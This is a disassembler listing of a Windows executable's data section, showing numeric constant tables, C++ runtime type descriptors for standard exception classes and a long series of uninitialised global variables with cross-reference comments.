; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_43D608	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_425DDA+1Bo
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh
off_43D764	dd offset off_427D60	; DATA XREF: ___:00427F3Co
					; ___:00428028o
		dd 0
a_?avexception@	db '.?AVexception@@',0
off_43D77C	dd offset off_427D60	; DATA XREF: ___:off_427DF0o
					; ___:00427E30o ...
		dd 0
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
off_43D79C	dd offset off_427D60	; DATA XREF: ___:off_427E38o
					; ___:00427E7Co ...
		dd 0
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 4
off_43D7BC	dd offset off_427D60	; DATA XREF: ___:off_427E84o
					; ___:00427EC8o ...
		dd 0
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 10h
off_43D7E0	dd offset off_427D60	; DATA XREF: ___:off_427ED0o
					; ___:00427F0Co
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
		dd offset sub_42470C
		align 10h
dword_43D800	dd 2 dup(0)		; DATA XREF: sub_40111D+C8o
dword_43D808	dd 2 dup(0)		; DATA XREF: sub_40111D+62o
					; ___:0040146Eo ...
dword_43D810	dd 0			; DATA XREF: ___:004015B0o
					; sub_401ACD+B08o ...
		dd 5 dup(0)
dword_43D828	dd 0			; DATA XREF: sub_401ACD+B64r
					; sub_4150B5+60r
		dd 2D9h	dup(0)
dword_43E390	dd 0			; DATA XREF: sub_401ACD+5E63r
					; sub_401ACD+5F40r ...
		dd 7Fh dup(0)
dword_43E590	dd 0			; DATA XREF: sub_40B0F7+41w
					; sub_40B232+40w ...
dword_43E594	dd 0			; DATA XREF: sub_40B0F7+47w
					; sub_40B232+46w ...
dword_43E598	dd 0			; DATA XREF: sub_40B0F7+52w
					; sub_40B232+3Ar ...
dword_43E59C	dd 0			; DATA XREF: sub_40111D+Cr
					; sub_4017ED+B9w ...
dword_43E5A0	dd 0			; DATA XREF: sub_40B232+75r
					; sub_40B413+2Aw ...
dword_43E5A4	dd 0			; DATA XREF: ___:004015FFw
					; ___:00401677w ...
byte_43E5A8	db 0			; DATA XREF: sub_4017ED+91o
					; sub_401ACD+5DA8r ...
		align 4
dword_43E5AC	dd 1C69h dup(0)
dword_445750	dd 2A3Fh dup(0)		; DATA XREF: ___:00433E54o
		db 0
byte_45004D	db 3 dup(0)		; DATA XREF: ___:00438140o
		dd 1CFCh dup(0)
		db 0
byte_457441	db 3 dup(0)		; DATA XREF: ___:off_438BACo
dword_457444	dd 17780h dup(0)
		db 0
byte_4B5245	db 3 dup(0)		; DATA XREF: ___:off_438A18o
		dd 5852h dup(0)
dword_4CB390	dd 0			; DATA XREF: sub_40111D+FDw
					; sub_40B0F7+13o ...
dword_4CB394	dd 0			; DATA XREF: ___:0040125Ew
					; sub_401ACD:loc_4044D8r ...
dword_4CB398	dd 0			; DATA XREF: ___:loc_4016FFo
dword_4CB39C	dd 20h dup(0)		; DATA XREF: ___:004016B6o
					; ___:00401750o ...
dword_4CB41C	dd 10h dup(0)		; DATA XREF: ___:004016CCo
dword_4CB45C	dd 24h dup(0)		; DATA XREF: ___:004016E3o
dword_4CB4EC	dd 0			; DATA XREF: ___:004016D7w
					; ___:00401767w ...
dword_4CB4F0	dd 0			; DATA XREF: ___:004016F6w
		align 10h
byte_4CB500	db 0			; DATA XREF: sub_401955+28r
					; sub_401955+30o
		align 4
dword_4CB504	dd 0			; DATA XREF: ___:00401704w
					; ___:0040171Br ...
dword_4CB508	dd 0			; DATA XREF: ___:004016BBw
					; sub_401ACD+8BEr
dword_4CB50C	dd 0			; DATA XREF: sub_401ACD+7DC0o
					; sub_40C9A5+13o ...
dword_4CB510	dd 0			; DATA XREF: sub_409B13+4A7w
					; sub_409B13+4EBr ...
dword_4CB514	dd 0			; DATA XREF: sub_409B13+65w
					; sub_4196BD+166r
dword_4CB518	dd 0			; DATA XREF: sub_409B13+80Bw
					; sub_409B13+880r ...
dword_4CB51C	dd 0			; DATA XREF: sub_409B13+9D8w
					; sub_409B13+A43r ...
dword_4CB520	dd 0			; DATA XREF: sub_409B13+98Aw
					; sub_409B13+A13r ...
dword_4CB524	dd 0			; DATA XREF: sub_409B13+48Dw
					; sub_409B13+4DBr ...
dword_4CB528	dd 0			; DATA XREF: sub_409B13+213w
					; sub_409B13+234r
dword_4CB52C	dd 0			; DATA XREF: sub_409B13+9CBw
					; sub_409B13+A3Br ...
dword_4CB530	dd 0			; DATA XREF: sub_409B13+372w
					; sub_409B13+3C7r ...
dword_4CB534	dd 0			; DATA XREF: sub_409B13+40Fw
					; sub_41AA43+11Er
dword_4CB538	dd 0			; DATA XREF: sub_409B13+37Fw
					; sub_409B13+3CFr ...
dword_4CB53C	dd 0			; DATA XREF: sub_409B13+3C0w
					; sub_418C8F+ADr
dword_4CB540	dd 0			; DATA XREF: sub_409B13+55Aw
					; sub_40F0D6+115r ...
dword_4CB544	dd 0			; DATA XREF: sub_409B13+72w
					; sub_409B13+D2r ...
dword_4CB548	dd 0			; DATA XREF: sub_409B13+97Dw
					; sub_409B13+A06r ...
dword_4CB54C	dd 0			; DATA XREF: sub_409B13+3A6w
					; sub_409B13+3E7r ...
dword_4CB550	dd 0			; DATA XREF: sub_409B13+859w
					; sub_409B13+8ACr ...
dword_4CB554	dd 0			; DATA XREF: sub_409B13+2A5w
					; sub_409B13+2F0r ...
dword_4CB558	dd 0			; DATA XREF: sub_409B13+84Cw
					; sub_409B13+8A4r ...
dword_4CB55C	dd 0			; DATA XREF: sub_409B13+B3w
dword_4CB560	dd 0			; DATA XREF: sub_409B13+866w
					; sub_409B13+8B4r ...
dword_4CB564	dd 0			; DATA XREF: sub_409B13+54Dw
					; sub_409B13+6D0r ...
dword_4CB568	dd 0			; DATA XREF: sub_409B13+58w
					; sub_409B13+CAr ...
dword_4CB56C	dd 0			; DATA XREF: sub_409B13+934w
dword_4CB570	dd 0			; DATA XREF: sub_401ACD:loc_403F26r
					; sub_409B13+A95w ...
dword_4CB574	dd 0			; DATA XREF: sub_409B13+A6w
					; sub_409B13+F2r
dword_4CB578	dd 0			; DATA XREF: sub_409B13+480w
					; sub_409B13+4D3r ...
dword_4CB57C	dd 0			; DATA XREF: sub_409B13+5F6w
					; sub_40BFA4+20r
dword_4CB580	dd 0			; DATA XREF: sub_409B13+9BEw
					; sub_409B13+A33r
dword_4CB584	dd 0			; DATA XREF: sub_409B13+5E9w
					; sub_409B13+754r ...
dword_4CB588	dd 0			; DATA XREF: sub_409B13+A0Cw
dword_4CB58C	dd 0			; DATA XREF: sub_409B13+B50w
dword_4CB590	dd 0			; DATA XREF: sub_409B13+7FEw
					; sub_409B13+86Dr ...
dword_4CB594	dd 0			; DATA XREF: sub_409B13+1B3w
					; sub_40B2F2+3Do ...
dword_4CB598	dd 0			; DATA XREF: sub_409B13+997w
					; sub_409B13+A1Br ...
dword_4CB59C	dd 0			; DATA XREF: sub_409B13+38Cw
					; sub_409B13+3D7r ...
dword_4CB5A0	dd 0			; DATA XREF: sub_409B13+399w
					; sub_409B13+3DFr ...
dword_4CB5A4	dd 0			; DATA XREF: sub_409B13+C85w
					; sub_409B13+C8Cr ...
dword_4CB5A8	dd 0			; DATA XREF: sub_409B13+6ACw
					; ___:00410890r
dword_4CB5AC	dd 0			; DATA XREF: sub_40111D+1Dr
					; sub_40111D+23r ...
dword_4CB5B0	dd 0			; DATA XREF: sub_409B13+4B4w
					; sub_4153BD+207r
dword_4CB5B4	dd 0			; DATA XREF: sub_409B13+9E5w
					; sub_409B13+A4Br ...
dword_4CB5B8	dd 0			; DATA XREF: sub_401000+51r
					; sub_409B13+2B2w ...
dword_4CB5BC	dd 0			; DATA XREF: sub_409B13+7Fw
					; sub_409B13+DAr ...
dword_4CB5C0	dd 0			; DATA XREF: sub_401ACD+5912r
					; sub_401ACD+79CFr ...
dword_4CB5C4	dd 0			; DATA XREF: ___:004012ADr
					; sub_401ACD+5118r ...
dword_4CB5C8	dd 0			; DATA XREF: sub_409B13+825w
					; sub_409B13+890r ...
dword_4CB5CC	dd 0			; DATA XREF: sub_409B13+9A4w
					; sub_409B13+A23r
dword_4CB5D0	dd 0			; DATA XREF: sub_409B13+C0Ew
					; sub_409B13+C3Fr
dword_4CB5D4	dd 0			; DATA XREF: sub_409B13+2CCw
					; sub_4184E2+47r
dword_4CB5D8	dd 0			; DATA XREF: sub_409B13+22Dw
dword_4CB5DC	dd 0			; DATA XREF: sub_409B13+91Aw
					; sub_409B13+92Er
dword_4CB5E0	dd 0			; DATA XREF: sub_409B13+C28w
dword_4CB5E4	dd 0			; DATA XREF: sub_409B13+2D9w
					; sub_4184E2+4Fr
dword_4CB5E8	dd 0			; DATA XREF: sub_409B13+574w
					; sub_409B13+6E8r ...
dword_4CB5EC	dd 0			; DATA XREF: sub_409B13+83Fw
					; sub_409B13+873r
dword_4CB5F0	dd 0			; DATA XREF: sub_409B13+220w
					; sub_409B13+23Cr
dword_4CB5F4	dd 0			; DATA XREF: sub_409B13+172w
					; sub_409B13+1C2r ...
dword_4CB5F8	dd 0			; DATA XREF: sub_401ACD+1E31r
					; sub_401ACD+5AC8r ...
dword_4CB5FC	dd 0			; DATA XREF: sub_4017ED+C4r
					; sub_401ACD+51A2r ...
dword_4CB600	dd 0			; DATA XREF: sub_409B13+567w
					; sub_409B13+6DCr ...
dword_4CB604	dd 0			; DATA XREF: sub_409B13+8DBw
					; sub_409B13:loc_40A40Cw ...
dword_4CB608	dd 0			; DATA XREF: sub_401000+26r
					; sub_409B13+28Bw ...
dword_4CB60C	dd 0			; DATA XREF: sub_401ACD+795Ar
					; sub_409B13+69Fw ...
dword_4CB610	dd 0			; DATA XREF: sub_409B13+32Dw
					; sub_409B13+341r ...
dword_4CB614	dd 0			; DATA XREF: sub_409B13+3B3w
					; sub_409B13+3EFr ...
dword_4CB618	dd 0			; DATA XREF: sub_409B13+C01w
					; sub_409B13+C37r
dword_4CB61C	dd 0			; DATA XREF: sub_409B13+818w
					; sub_409B13+888r ...
dword_4CB620	dd 0			; DATA XREF: sub_409B13+206w
					; sub_409B13+227r
dword_4CB624	dd 0			; DATA XREF: sub_409B13+18Cw
					; sub_409B13+1D2r ...
dword_4CB628	dd 0			; DATA XREF: sub_409B13+832w
					; sub_409B13+898r ...
dword_4CB62C	dd 0			; DATA XREF: sub_409B13+624w
					; sub_409B13+774r
dword_4CB630	dd 0			; DATA XREF: sub_401000+5Ar
					; sub_409B13+2BFw ...
dword_4CB634	dd 0			; DATA XREF: sub_409B13+66Bw
					; sub_409B13+79Cr ...
dword_4CB638	dd 0			; DATA XREF: sub_409B13+320w
					; sub_409B13+334r ...
dword_4CB63C	dd 0			; DATA XREF: sub_409B13+644w
					; sub_409B13+784r ...
dword_4CB640	dd 0			; DATA XREF: sub_409B13+44Cw
					; sub_409B13+4AEr ...
dword_4CB644	dd 0			; DATA XREF: sub_409B13+199w
					; sub_409B13+1DAr ...
dword_4CB648	dd 0			; DATA XREF: sub_409B13+365w
					; sub_409B13+3BAr ...
dword_4CB64C	dd 0			; DATA XREF: sub_409B13+AA2w
dword_4CB650	dd 0			; DATA XREF: sub_409B13+5DCw
					; sub_409B13+748r ...
dword_4CB654	dd 0			; DATA XREF: sub_4017ED+3Er
					; sub_401ACD+5154r ...
dword_4CB658	dd 0			; DATA XREF: sub_409B13+4Bw
					; sub_409B13+C2r ...
dword_4CB65C	dd 0			; DATA XREF: sub_409B13+473w
					; sub_409B13+4CBr ...
dword_4CB660	dd 0			; DATA XREF: sub_409B13+165w
					; sub_409B13+1BAr ...
dword_4CB664	dd 0			; DATA XREF: sub_409B13+9FFw
					; sub_409B13+A5Br ...
dword_4CB668	dd 0			; DATA XREF: sub_409B13+685w
					; sub_409B13+7ACr ...
dword_4CB66C	dd 0			; DATA XREF: sub_401955+D1r
					; sub_401ACD+51B7r ...
dword_4CB670	dd 0			; DATA XREF: sub_409B13+C1Bw
					; sub_409B13+C47r
dword_4CB674	dd 0			; DATA XREF: sub_409B13+3Ew
					; sub_409B13+BAr ...
dword_4CB678	dd 0			; DATA XREF: sub_401000+45r
					; sub_409B13+298w ...
dword_4CB67C	dd 0			; DATA XREF: sub_409B13+651w
					; sub_409B13+78Cr ...
dword_4CB680	dd 0			; DATA XREF: sub_409B13+637w
					; sub_409B13+77Cr ...
dword_4CB684	dd 0			; DATA XREF: sub_401ACD+73BAr
					; sub_409B13+C92w
dword_4CB688	dd 0			; DATA XREF: sub_409B13+879w
					; ___:004168D6r ...
dword_4CB68C	dd 0			; DATA XREF: sub_409B13+112w
dword_4CB690	dd 0			; DATA XREF: sub_409B13+BE7w
					; sub_409B13+C22r
dword_4CB694	dd 0			; DATA XREF: sub_401ACD+2FE5r
					; sub_401ACD+5F99r ...
dword_4CB698	dd 0			; DATA XREF: sub_409B13+459w
					; sub_409B13+4BBr ...
dword_4CB69C	dd 0			; DATA XREF: sub_409B13+49Aw
					; sub_409B13+4E3r ...
dword_4CB6A0	dd 0			; DATA XREF: sub_409B13+466w
					; sub_409B13+4C3r ...
dword_4CB6A4	dd 0			; DATA XREF: sub_401955+89r
					; sub_401ACD+51D4r ...
dword_4CB6A8	dd 0			; DATA XREF: sub_409B13+1A6w
					; sub_409B13+1E2r ...
dword_4CB6AC	dd 0			; DATA XREF: sub_409B13+9F2w
					; sub_409B13+A53r ...
dword_4CB6B0	dd 0			; DATA XREF: sub_409B13+158w
					; sub_409B13+1ADr ...
dword_4CB6B4	dd 0			; DATA XREF: sub_409B13+8Cw
					; sub_409B13+E2r ...
dword_4CB6B8	dd 0			; DATA XREF: sub_409B13+610w
					; sub_409B13+764r ...
dword_4CB6BC	dd 0			; DATA XREF: sub_409B13+B43w
					; sub_409B13+B5Fr
dword_4CB6C0	dd 0			; DATA XREF: sub_409B13+33Aw
					; sub_419652+55r
dword_4CB6C4	dd 0			; DATA XREF: sub_409B13+27Ew
					; sub_409B13+2D3r ...
dword_4CB6C8	dd 0			; DATA XREF: sub_409B13+BAAw
dword_4CB6CC	dd 0			; DATA XREF: sub_409B13+AECw
					; sub_40AB32+CEr
dword_4CB6D0	dd 0			; DATA XREF: sub_409B13+ADFw
					; sub_409B13+AE6r ...
dword_4CB6D4	dd 0			; DATA XREF: sub_4017ED+A6r
					; sub_401ACD+5133r ...
dword_4CB6D8	dd 0			; DATA XREF: sub_401ACD+5125r
					; sub_401ACD+7981r ...
dword_4CB6DC	dd 0			; DATA XREF: sub_409B13+BF4w
					; sub_409B13+C2Fr
dword_4CB6E0	dd 0			; DATA XREF: sub_401ACD+1E57r
					; sub_401ACD+5AEEr ...
dword_4CB6E4	dd 0			; DATA XREF: sub_409B13+9B1w
					; sub_409B13+A2Br ...
dword_4CB6E8	dd 0			; DATA XREF: sub_409B13+65Ew
					; sub_409B13+794r ...
dword_4CB6EC	dd 0			; DATA XREF: sub_40111D+12r
					; sub_4017ED+D0r ...
dword_4CB6F0	dd 0			; DATA XREF: sub_409B13+59Bw
					; sub_409B13+70Cr ...
dword_4CB6F4	dd 0			; DATA XREF: sub_409B13+B36w
					; sub_409B13+B57r
dword_4CB6F8	dd 0			; DATA XREF: sub_409B13+540w
					; sub_409B13+6C4r ...
dword_4CB6FC	dd 0			; DATA XREF: sub_409B13+B29w
					; sub_409B13+B4Ar
dword_4CB700	dd 0			; DATA XREF: ___:00401273r
					; sub_409B13+31w ...
dword_4CB704	dd 0			; DATA XREF: sub_409B13+17Fw
					; sub_409B13+1CAr ...
		dd 0
dword_4CB70C	dd 0			; DATA XREF: sub_409B13+927w
					; sub_409B13+93Br
dword_4CB710	dd 0			; DATA XREF: sub_409B13+99w
					; sub_409B13+EAr ...
dword_4CB714	dd 0			; DATA XREF: sub_409B13:loc_409C11w
					; sub_409B13+12Bw ...
dword_4CB718	dd 0			; DATA XREF: sub_409B13+126w
					; sub_40A7CF+1Cr
dword_4CB71C	dd 0			; DATA XREF: sub_409B13:loc_409D01w
					; sub_409B13:loc_409D68w ...
dword_4CB720	dd 0			; DATA XREF: sub_409B13+250w
					; sub_40A7CF+50r
dword_4CB724	dd 0			; DATA XREF: ___:0040156Ar
					; sub_401ACD+4568r ...
dword_4CB728	dd 0			; DATA XREF: sub_409B13+41Ew
					; sub_40A7CF+84r
dword_4CB72C	dd 0			; DATA XREF: sub_409B13:loc_40A017w
					; sub_40A7CF:loc_40A87Fr
dword_4CB730	dd 0			; DATA XREF: sub_409B13+4FFw
					; sub_40A7CF+B8r
dword_4CB734	dd 0			; DATA XREF: sub_409B13:loc_40A2E8w
					; sub_40A7CF:loc_40A8B3r
dword_4CB738	dd 0			; DATA XREF: sub_409B13+7D0w
					; sub_40A7CF+ECr
dword_4CB73C	dd 0			; DATA XREF: sub_409B13:loc_40A3D3w
					; sub_409B13+8EFw ...
dword_4CB740	dd 0			; DATA XREF: sub_409B13+8EAw
					; sub_40A7CF+120r
dword_4CB744	dd 0			; DATA XREF: sub_401ACD:loc_406F18r
					; sub_409B13:loc_40A467w ...
dword_4CB748	dd 0			; DATA XREF: sub_409B13+94Fw
					; sub_40A7CF+154r
dword_4CB74C	dd 0			; DATA XREF: sub_401ACD+4570r
					; sub_409B13:loc_40A583w ...
dword_4CB750	dd 0			; DATA XREF: sub_409B13+A6Bw
					; sub_40A7CF+188r
dword_4CB754	dd 0			; DATA XREF: sub_409B13:loc_40A5CDw
					; sub_40A7CF:loc_40A983r
dword_4CB758	dd 0			; DATA XREF: sub_409B13+AB5w
					; sub_40A7CF+1BCr
dword_4CB75C	dd 0			; DATA XREF: sub_409B13:loc_40A617w
					; sub_40A7CF:loc_40A9B7r
dword_4CB760	dd 0			; DATA XREF: sub_409B13+AFFw
					; sub_40A7CF+1F0r
dword_4CB764	dd 0			; DATA XREF: sub_409B13:loc_40A68Bw
					; sub_40A7CF:loc_40A9EBr
dword_4CB768	dd 0			; DATA XREF: sub_409B13+B73w
					; sub_40A7CF+224r
dword_4CB76C	dd 0			; DATA XREF: sub_409B13:loc_40A6D5w
					; sub_40A7CF:loc_40AA1Fr
dword_4CB770	dd 0			; DATA XREF: sub_409B13+BBDw
					; sub_40A7CF+258r
dword_4CB774	dd 0			; DATA XREF: sub_409B13:loc_40A773w
					; sub_40A7CF:loc_40AA53r
dword_4CB778	dd 0			; DATA XREF: sub_409B13+C5Bw
					; sub_40A7CF+28Cr
dword_4CB77C	dd 0			; DATA XREF: sub_409B13:loc_40A7BDw
					; sub_40A7CF:loc_40AA87r
dword_4CB780	dd 0			; DATA XREF: sub_409B13+CA5w
					; sub_40A7CF+2C0r
dword_4CB784	dd 7 dup(0)		; DATA XREF: sub_40AC10+32o
dword_4CB7A0	dd 0			; DATA XREF: sub_40BA57+18r
					; sub_40BFEC+92w ...
dword_4CB7A4	dd 0			; DATA XREF: sub_40C125+4Dr
					; sub_40C125+2F1w ...
		dd 7FEh	dup(0)
dword_4CD7A0	dd 6 dup(0)		; DATA XREF: sub_40C125+D2o
					; sub_40C125+13Bo ...
dword_4CD7B8	dd 0			; DATA XREF: sub_40BACE+2C4w
					; sub_40BACE+348o
dword_4CD7BC	dd 0			; DATA XREF: sub_40BACE+33Ew
					; sub_40BACE+35Ar
dword_4CD7C0	dd 0			; DATA XREF: sub_40BACE+2CFw
dword_4CD7C4	dd 0			; DATA XREF: sub_40BACE+2B9w
					; sub_40BACE:loc_40BDE3r
dword_4CD7C8	dd 20h dup(0)		; DATA XREF: sub_40BACE+2E2o
					; sub_40BACE+302o
dword_4CD848	dd 0			; DATA XREF: sub_40BACE+2D5w
dword_4CD84C	dd 0			; DATA XREF: sub_40BACE+2EFw
					; sub_40BACE+30Fw
dword_4CD850	dd 0			; DATA XREF: sub_40BACE:loc_40BE3Er
		align 8
dword_4CD858	dd 0			; DATA XREF: sub_40BACE+82w
					; sub_40BACE+101o
dword_4CD85C	dd 41h dup(0)		; DATA XREF: sub_40BACE+41o
dword_4CD960	dd 41h dup(0)		; DATA XREF: sub_40BACE+69o
dword_4CDA64	dd 0			; DATA XREF: sub_40BACE+F7w
					; sub_40BACE+113r
dword_4CDA68	dd 0			; DATA XREF: sub_40BACE+52w
dword_4CDA6C	dd 0			; DATA XREF: sub_40BACE+4Dw
					; sub_40BACE+D4r
dword_4CDA70	dd 20h dup(0)		; DATA XREF: sub_40BACE+9Ao
					; sub_40BACE+BAo
dword_4CDAF0	dd 0			; DATA XREF: sub_40BACE+8Fw
dword_4CDAF4	dd 0			; DATA XREF: sub_40BACE+A7w
					; sub_40BACE+C7w
dword_4CDAF8	dd 0			; DATA XREF: sub_40BACE:loc_40BBF7r
		align 10h
dword_4CDB00	dd 0			; DATA XREF: sub_40BACE+1A5w
					; sub_40BACE+225o
dword_4CDB04	dd 41h dup(0)		; DATA XREF: sub_40BACE+167o
dword_4CDC08	dd 41h dup(0)		; DATA XREF: sub_40BACE+18Co
dword_4CDD0C	dd 0			; DATA XREF: sub_40BACE+21Bw
					; sub_40BACE+237r
dword_4CDD10	dd 0			; DATA XREF: sub_40BACE+17Aw
dword_4CDD14	dd 0			; DATA XREF: sub_40BACE+175w
					; sub_40BACE+1F8r
dword_4CDD18	dd 20h dup(0)		; DATA XREF: sub_40BACE+1BEo
					; sub_40BACE+1DEo
dword_4CDD98	dd 0			; DATA XREF: sub_40BACE+1B1w
dword_4CDD9C	dd 0			; DATA XREF: sub_40BACE+1CBw
					; sub_40BACE+1EBw
dword_4CDDA0	dd 0			; DATA XREF: sub_40BACE:loc_40BD1Br
		align 8
dword_4CDDA8	dd 0			; DATA XREF: sub_40BACE+417w
					; sub_40BACE+470o
dword_4CDDAC	dd 0A2h	dup(0)		; DATA XREF: sub_40BACE+405o
dword_4CE034	dd 41h dup(0)		; DATA XREF: sub_40BACE+3CFo
dword_4CE138	dd 0			; DATA XREF: sub_40BACE+3FCw
					; sub_40BACE+423r
		align 10h
dword_4CE140	dd 0			; DATA XREF: sub_40BACE+466w
					; sub_40BACE+482r
dword_4CE144	dd 0			; DATA XREF: sub_40BACE+429w
dword_4CE148	dd 0			; DATA XREF: sub_40BACE+436w
dword_4CE14C	dd 0			; DATA XREF: sub_40BACE+3F6w
		dd 0
dword_4CE154	dd 0			; DATA XREF: sub_40BACE:loc_40BF66r
		dd 0
dword_4CE15C	dd 0			; DATA XREF: sub_40B71A+Er
					; sub_40B71A+32r
dword_4CE160	dd 0			; DATA XREF: sub_40B71A+9r
					; sub_40B71A+26r
dword_4CE164	dd 82h dup(0)		; DATA XREF: sub_40C59C+8Do
dword_4CE36C	dd 2 dup(0)		; DATA XREF: sub_40CF05+68o
dword_4CE374	dd 0			; DATA XREF: sub_40D8A0+8w
					; ___:0040DC6Fo
		dd 0
dword_4CE37C	dd 2 dup(0)		; DATA XREF: ___:0040DBA5o
dword_4CE384	dd 0			; DATA XREF: ___:0040E4D8r
		dd 0
		dd 0
dword_4CE390	dd 0			; DATA XREF: ___:0040E4ABr
dword_4CE394	dd 0			; DATA XREF: ___:0040E48Dr
					; ___:0040E4F6r
		dd 0
dword_4CE39C	dd 0			; DATA XREF: sub_40BACE+2AEr
		dd 0
dword_4CE3A4	dd 0			; DATA XREF: sub_40B786+1Cr
dword_4CE3A8	dd 0			; DATA XREF: ___:0040EFE9w
					; ___:0040F010r ...
		dd 3 dup(0)
dword_4CE3B8	dd 0			; DATA XREF: ___:00410906r
		align 10h
dword_4CE3C0	dd 0			; DATA XREF: sub_412352+4w
					; sub_412352+9o
		dd 109h	dup(0)
dword_4CE7E8	dd 188h	dup(0)		; DATA XREF: sub_401ACD+2F6Fo
					; sub_401ACD:loc_404AC5o
dword_4CEE08	dd 0			; DATA XREF: sub_401ACD+1A24w
					; sub_401ACD+2F67r ...
		dd 11Ch	dup(0)
dword_4CF27C	dd 1000h dup(0)		; DATA XREF: sub_4151AD+1Do
					; sub_41524Do
dword_4D327C	dd 0			; DATA XREF: sub_4151AD+13o
					; sub_41524D+Eo ...
dword_4D3280	dd 0			; DATA XREF: sub_4155F8+Fr
					; sub_4157F1+12r
		align 8
dword_4D3288	dd 0Eh dup(0)		; DATA XREF: sub_416923+Fo
dword_4D32C0	dd 80h dup(0)		; DATA XREF: sub_4175EA+41o
dword_4D34C0	dd 200h	dup(0)		; DATA XREF: sub_416F1B+C7o
					; sub_417276+DDo ...
dword_4D3CC0	dd 124h	dup(0)		; DATA XREF: sub_416F1B+D6o
					; sub_417276+F4o ...
		db 2 dup(0)
word_4D4152	dw 0			; DATA XREF: ___:off_437F28o
		dd 0DBh	dup(0)
dword_4D44C0	dd 0			; DATA XREF: sub_416F1B+86w
					; sub_4170ED+94r
dword_4D44C4	dd 0			; DATA XREF: sub_416F1B+A7w
					; sub_417553+55r ...
dword_4D44C8	dd 0			; DATA XREF: sub_416F1B+A0w
					; sub_4170ED+D6r ...
dword_4D44CC	dd 0			; DATA XREF: sub_416F1B+79w
					; sub_4170ED+35r ...
dword_4D44D0	dd 80h dup(0)		; DATA XREF: sub_417553+5Eo
dword_4D46D0	dd 0			; DATA XREF: sub_416F1B+93w
					; sub_4170ED+A2r
		align 8
dword_4D46D8	dd 0			; DATA XREF: sub_416F1B+E7o
					; sub_416F1B+103r ...
dword_4D46DC	dd 0			; DATA XREF: sub_417276+17Bw
					; sub_41741D+107w
dword_4D46E0	dd 0			; DATA XREF: sub_417276+180w
					; sub_41741D+10Dw ...
dword_4D46E4	dd 0			; DATA XREF: sub_417276+159w
					; sub_417553+4Fr
dword_4D46E8	dd 0			; DATA XREF: sub_4178BB+22w
					; sub_4178BB:loc_417A40w ...
dword_4D46EC	dd 0			; DATA XREF: sub_401ACD+3CC4o
					; sub_417789+12o ...
		dd 0
dword_4D46F4	dd 0			; DATA XREF: sub_4178BB+1Cr
					; sub_417A60+3Ar
		dd 7Fh dup(0)
dword_4D48F4	dd 0			; DATA XREF: sub_4178BB+28r
					; sub_417A60+4Aw
		dd 1944h dup(0)
dword_4DAE08	dd 0			; DATA XREF: sub_417A60+23o
dword_4DAE0C	dd 81h dup(0)		; DATA XREF: sub_401ACD+3CE2o
					; sub_417789+3Co ...
dword_4DB010	dd 17h dup(0)		; DATA XREF: sub_4187DE:loc_4188FBo
					; sub_4187DE+131o ...
dword_4DB06C	dd 80h dup(0)		; DATA XREF: sub_419594+7Co
					; sub_419594+A5o
dword_4DB26C	dd 0			; DATA XREF: sub_418B59+45w
					; sub_418B59+4Dr ...
dword_4DB270	dd 17h dup(0)		; DATA XREF: sub_419460:loc_419582o
					; sub_419460+12Do
dword_4DB2CC	dd 80h dup(0)		; DATA XREF: sub_418A99+4Co
					; sub_418A99+7Eo ...
byte_4DB4CC	db 0			; DATA XREF: sub_418B59+29r
					; sub_418B59+34w
		align 10h
